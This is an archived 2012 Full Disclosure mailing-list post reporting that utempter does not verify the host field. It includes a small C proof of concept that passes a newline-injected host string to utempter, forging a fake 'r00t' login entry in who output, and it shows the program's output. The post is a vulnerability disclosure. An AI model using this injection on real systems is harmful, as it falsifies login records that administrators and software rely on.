Full Disclosure mailing list archives
utempter allows fake host setting
From: paul.szabo () sydney edu au
Date: Sat, 6 Oct 2012 20:53:02 +1000
Quoting from http://bugs.debian.org/689562 Utempter does not (cannot?) verify the setting of host, so it can easily be faked. This may affect any software that depend on utmp correctness. Demo of the issue: psz@bari:~$ cat silly.c #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> int main() { int i; i = open("/dev/ptmx", O_RDWR); printf("open ptmx returned %d\n", i); dup2(i, 0); /* dup2(i, 1); */ printf("doing utempter add\n"); system("/usr/lib/utempter/utempter add 'xyz)\nr00t pts/0 Jan 1 01:02 (xyz.com'"); printf("checking who\n"); system("who | grep xyz"); printf("doing utempter del\n"); system("/usr/lib/utempter/utempter del"); printf("checking who\n"); system("who | grep xyz"); printf("DONE\n"); } psz@bari:~$ cc silly.c; a.out open ptmx returned 3 doing utempter add checking who psz pts/29 Oct 4 11:48 (xyz) r00t pts/0 Jan 1 01:02 (xyz.com) doing utempter del checking who DONE psz@bari:~$ Please see also: http://bugs.debian.org/329156 http://bugs.debian.org/330907 Cheers, Paul Paul Szabo psz () maths usyd edu au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of Sydney Australia _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- utempter allows fake host setting paul . szabo (Oct 06)